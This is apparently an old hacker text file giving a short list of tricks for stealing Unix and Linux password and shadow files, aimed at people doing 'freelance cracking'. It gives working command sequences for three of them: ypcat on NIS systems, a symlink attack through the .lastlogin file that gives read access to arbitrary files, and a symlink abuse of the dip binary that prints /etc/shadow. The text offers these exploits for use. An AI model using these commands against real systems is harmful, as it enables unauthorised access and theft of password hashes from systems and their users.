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Defeating Shadow Passwd Security
Defeating the Shadow Passwd Security
This is by no means a complete or even good list of possible ways to
get a copy of the shadow file, but it's some that work and are pretty handy
to know if you do alot of freelance cracking.
- Unix including: SunOS, SCO, System V, and others of the like are sometimes
vulnerable to ypcat. This is an old and well known trick but it works.. To use
it simply type ypcat /etc/passwd with your capture option turned on, or use
ypcat /etc/passwd > ~/passwd
and download the passwd file from your home dir.
- Unix including: SCO, System V 3.2, ?, could be vulnerable to a hole using the
.lastlogin file. In your home directory if a ls -al shows the .lastlogin to be
owned by auth or root or anyone with better security then you it's good :)
rm -f ~/.lastlogin
ln -s ~/.lastlogin /etc/passwd
Now logout and then back in so you create the link.
cat .lastlogin > passwd
rm -f ~/.lastlogin
This hole could have several other uses as well, the fact that it allows you
read access to most any file on the system is a nice gift.
- Linux including: slackware, ?, not only can the dip hole be used to
exploit root but it can also snag you the shadow file fairly easily. Why
you wouldn't use it to get to root and then just edit/download it I have
no clue but here it is anyways..
ln -s /etc/shadow /tmp/dummy.dip
/sbin/dip -v /tmp/dummy.dip
Assuming dip is vulnerable this should type the shadow file for you and
of course it's not limited to just reading the shadow file..
If you know of other tricks, especially some that defeat linux shadow, and
wish to share them
HTML-version by Markus Hübner
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